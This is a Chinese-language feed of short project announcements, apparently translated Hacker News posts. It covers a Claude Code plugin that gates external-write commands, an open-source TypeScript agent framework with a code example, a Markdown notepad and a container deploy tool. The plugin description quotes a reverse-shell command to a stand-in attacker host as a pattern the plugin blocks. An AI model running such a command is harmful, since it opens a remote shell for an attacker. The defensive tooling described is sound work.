返回首页
24小时热榜
一个关于哥本哈根建筑层面高度和屋顶几何指标的演示数据集,该数据集来源于空中激光雷达,并与权威的建筑轮廓相连接。
权限提示在命令的损害半径仅限于沙箱时会显得很吵闹。我希望只有在命令会对外部环境进行更改或与网络通信时才会被询问批准。
我开发了一个Claude Code插件,功能如下:
1) 始终对“写入外部”命令进行提示(如数据库更新、API调用、远程写入),例如:scp、curl -X POST、git push、sqlite3等。
2) 阻止已知的恶意软件模式,如反向Shell模式(bash -i >& /dev/tcp/attacker.com/4444 0>&1)或写入Dotfile。
该插件使用PreTool钩子在执行命令前从“写入外部”注册表中查找命令。如果找不到,它会使用haiku模型读取命令的手册或帮助页面,并根据外部写入可能发生的使用模式更新注册表。
要手动更改注册表,您可以提示Claude“将mytool标记为安全”或“将curl添加为始终询问”。
嘿,HN,
我每天都在使用Claude Code进行开发,并一直在思考:如果我能为我的用户提供相同的体验——一个探索上下文、规划、执行工具并构建事物的AI代理——但将其原生嵌入到我自己的应用程序中会怎么样?
因此,我构建了*Hive Agent*,这是一个开源的TypeScript框架,重现了Claude Code的核心架构,作为一个可以集成到任何应用中的库。
*它的功能:*
- *工作区系统* — 通过虚拟文件系统为代理提供任何上下文。将用户的数据、项目文件、API响应等输入给它——无论你的应用需要什么。代理使用类似bash的命令进行读取、写入和搜索。
- *内置探索与规划代理* — 就像Claude Code一样,Hive会自动生成子代理,以在行动之前调查工作区数据,并为复杂任务设计逐步计划。
- *子代理编排* — 生成具有不同模型(Claude、OpenAI)、不同工具和结构化输入/输出的专业代理。研究代理可以使用GPT-4,而主代理使用Claude。
- *自定义工具* — 定义你的应用所需的任何工具。API调用、数据库查询、浏览器自动化、文档生成——代理会根据需要调用它们。
- *无状态与无服务器准备* — 没有持久状态。可以在Firebase Functions、Vercel、AWS Lambda中运行。传入历史记录,传出历史记录。
- *执行追踪与成本跟踪* — 完整的层级追踪,按模型的令牌使用和成本细分。
- *交互模式* — 代理可以暂停并提出澄清问题,就像Claude Code一样。
*你可以用它构建的东西:*
- 针对你平台的AI编码助手
- 理解用户上下文的文档生成器
- 项目搭建工具
- 具有访问你内部API的支持代理
- 任何需要AI探索数据、规划和行动的工作流程
*快速示例:*
```typescript
import { Hive, ClaudeProvider } from '@alexnetrebskii/hive-agent'
const agent = new Hive({
systemPrompt: '你是一个项目生成器...',
tools: [myApiTool, myDbTool],
llm: new ClaudeProvider({ apiKey: process.env.ANTHROPIC_API_KEY }),
workspace: new Workspace({
paths: { 'user/requirements.json': { value: userReqs } }
})
})
const result = await agent.run('根据我的要求创建一个新项目')
```
代理将探索工作区,规划方法,创建文件,调用你的工具——一切都是自主完成的。
*链接:*
- GitHub: [https://github.com/anetrebskii/hive-agent](https://github.com/anetrebskii/hive-agent)
- 安装: `pnpm add @alexnetrebskii/hive-agent`
- MIT许可证
我希望能收到任何构建代理驱动功能的人的反馈。你希望内置哪些工具或模式?试试看,告诉我有什么问题。
我开发了 fylepad,因为我需要一个简单易用的本地记事本,能够处理 Markdown 和标签页,而不需要完整的 IDE 或基于浏览器的应用程序。
<p>为什么使用这个?</p>
<p>即时:使用 Rust/Tauri 构建,因此对 RAM 的占用很少。</p>
<p>无云:这只是一个用于快速记录(支持表格、代码块等)和图表(Mermaid/PlantUML)的本地工具。</p>
<p>标签页:我讨厌同时打开 20 个窗口;这个工具可以将我的草稿集中在一个地方。</p>
<p>我很好奇——你觉得你当前的“快速记笔记”工作流程中缺少的一个功能是什么?</p>
在您的服务器上从 Git 仓库部署容器。新版本具有基于面板的文本用户界面(TUI)和树形导航。该程序使用 Go 语言编写,运行在 Docker 和 SQLite 上。